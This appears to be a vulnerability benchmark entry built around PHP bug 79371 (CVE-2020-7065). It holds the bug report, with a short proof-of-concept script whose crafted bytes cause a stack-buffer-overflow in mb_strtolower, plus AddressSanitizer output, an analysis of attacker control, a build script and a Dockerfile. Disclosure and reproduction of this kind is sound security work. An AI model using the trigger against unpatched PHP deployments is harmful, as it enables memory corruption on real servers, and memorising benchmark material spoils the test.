Project: php-src (php/php-src), language: c++
Vulnerability instance: php.cve-2020-7065
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=79371
## Description:
PHP Bug ID: 79371
Summary: mb_strtolower (UTF-32LE): stack-buffer-overflow at php_unicode_tolower_full
Status: Closed
PHP Version: PHP 7.3
Assigned: stas (profile)
CVE-ID: 2020-7065

Description:
Description:
------------
Hello,

A call to `mb_strtolower` allows overwriting of a stack-allocated buffer with an overflown array from .rodata.

## How to reproduce

$ git clone https://github.com/php/php-src.git # Commit 583c7a4c
$ cd php-src
$ ./buildconf --force
$ CC=clang CFLAGS=-fsanitize=address,undefined ./configure --disable-opcache --enable-mbstring --enable-debug
$ make -j8
$ cat ../repro.php 
<?php

$bytes = array(0xef, 0xbf, 0xbd, 0xef);
$str = implode(array_map("chr", $bytes));
print(mb_strtolower($str, "UTF-32LE"));
$ ./sapi/cli/php ../repro.php 
/hdd/trosinenko/php-reference/ext/mbstring/php_unicode.c:257:24: runtime error: index 12435439 out of bounds for type 'const unsigned int [727]'
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /hdd/trosinenko/php-reference/ext/mbstring/php_unicode.c:257:24 in 
=================================================================
==19802==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe76f177cc at pc 0x000000679da0 bp 0x7ffe76f176f0 sp 0x7ffe76f16eb8
WRITE of size 956 at 0x7ffe76f177cc thread T0
    #0 0x679d9f in __asan_memcpy (/hdd/trosinenko/php-reference/sapi/cli/php+0x679d9f)
    #1 0x12720b1 in php_unicode_tolower_full /hdd/trosinenko/php-reference/ext/mbstring/php_unicode.c:258:3
    #2 0x1270878 in convert_case_filter /hdd/trosinenko/php-reference/ext/mbstring/php_unicode.c:337:10
    #3 0x139ca7c in mbfl_filt_conv_utf32le_wchar /hdd/trosinenko/php-reference/ext/mbstring/libmbfl/filters/mbfilter_utf32.c:271:4
    #4 0x126fb84 in php_unicode_convert_case /hdd/trosinenko/php-reference/ext/mbstring/php_unicode.c:425:8
    #5 0x123b38b in mbstring_convert_case /hdd/trosinenko/php-reference/ext/mbstring/mbstring.c:2907:9
    #6 0x123c5a5 in zif_mb_strtolower /hdd/trosinenko/php-reference/ext/mbstring/mbstring.c:3006:11
    #7 0x2e2be12 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /hdd/trosinenko/php-reference/Zend/zend_vm_execute.h:1292:2
    #8 0x298957c in execute_ex /hdd/trosinenko/php-reference/Zend/zend_vm_execute.h:51845:7
    #9 0x298a141 in zend_execute /hdd/trosinenko/php-reference/Zend/zend_vm_execute.h:56139:2
    #10 0x2611850 in zend_execute_scripts /hdd/trosinenko/php-reference/Zend/zend.c:1661:4
    #11 0x215385c in php_execute_script /hdd/trosinenko/php-reference/main/main.c:2584:14
    #12 0x304f02a in do_cli /hdd/trosinenko/php-reference/sapi/cli/php_cli.c:956:5
    #13 0x304b4a3 in main /hdd/trosinenko/php-reference/sapi/cli/php_cli.c:1351:18
    #14 0x7f3dd72081e2 in __libc_start_main /build/glibc-t7JzpG/glibc-2.30/csu/../csu/libc-start.c:308:16
    #15 0x6029ad in _start (/hdd/trosinenko/php-reference/sapi/cli/php+0x6029ad)

Address 0x7ffe76f177cc is located in stack of thread T0 at offset 44 in frame
    #0 0x126fe3f in convert_case_filter /hdd/trosinenko/php-reference/ext/mbstring/php_unicode.c:309

  This frame has 1 object(s):
    [32, 44) 'out' (line 311) <== Memory access at offset 44 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/hdd/trosinenko/php-reference/sapi/cli/php+0x679d9f) in __asan_memcpy
Shadow bytes around the buggy address:
  0x10004eddaea0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004eddaeb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004eddaec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004eddaed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004eddaee0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10004eddaef0: 00 00 00 00 f1 f1 f1 f1 00[04]f3 f3 00 00 00 00
  0x10004eddaf00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004eddaf10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004eddaf20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004eddaf30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004eddaf40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==19802==ABORTING

## Analysis

A php_unicode_tolower_full function tries to overwrite a stack-allocated buffer from convert_case_filter (of type unsigned out[3]) with 956 bytes, taken somewhere far-away from the _uccase_extra_table array, residing inside .rodata section.

The reason it happens seems to be due to `if (UNEXPECTED(c > 0xffffff)) { ... return 0; }` check performed in convert_case_filter(int c, void *void_data) function, so c is negative and less than 0xffffff.

Since the `code` variable seems to be taken unchanged from the string passed to mb_strtolower, it seems that size is well-controlled by an attacker in range 512-1020, while the **data** to overwrite with are much less controlled (and further investigation is needed to check what values of `code &0xffffff` can go unchanged to this point).

Test script:
---------------
<?php

$bytes = array(0xef, 0xbf, 0xbd, 0xef);
$str = implode(array_map("chr", $bytes));
print(mb_strtolower($str, "UTF-32LE"));

Comments:

[Comment 1] [2020-03-12 12:12 UTC] cmb@php.net
Thanks for reporting!  Suggested quick fix:
<https://gist.github.com/cmb69/8daf3a095d7810dbfa77d93ef764a1b2>.

Nikita, you may have a better solution. :)
Links: https://gist.github.com/cmb69/8daf3a095d7810dbfa77d93ef764a1b2

[Comment 2] [2020-03-12 13:17 UTC] nikic@php.net
Patch LGTM.

[Comment 10] [2021-03-17 09:44 UTC] 261793692 at qq dot com
The following pull request has been associated:

Patch Name: Add commit ID to build info
On GitHub:  https://github.com/php/doc-base/pull/17
Patch:      https://github.com/php/doc-base/pull/17.patch
Links: https://github.com/php/doc-base/pull/17, https://github.com/php/doc-base/pull/17.patch

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
autoreconf -vfi
./configure
make -j$(nproc)
export ONIG_CFLAGS="-I$PWD/oniguruma/src"
export ONIG_LIBS="-L$PWD/oniguruma/src/.libs -l:libonig.a"
export CFLAGS="$CFLAGS -fno-sanitize=object-size"
export CXXFLAGS="$CXXFLAGS -fno-sanitize=object-size"
./buildconf --force
./configure \
        --disable-all \
        --enable-option-checking=fatal \
        --enable-json \
        --enable-exif \
        --enable-mbstring \
        --without-pcre-jit \
        --disable-phpdbg \
        --disable-cgi \
        --with-pic

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y autoconf automake libtool bison re2c pkg-config
RUN apt-get install -y autoconf automake libtool bison re2c pkg-config
RUN git clone https://github.com/php/php-src php-src
RUN git -C php-src checkout d466e966ef58a932e55c498f1d5c4aa7361afe41
WORKDIR $SRC/php-src
COPY build.sh $SRC/

Additional files:
filename: cosmic.list
content: deb http://archive.ubuntu.com/ubuntu/ cosmic universe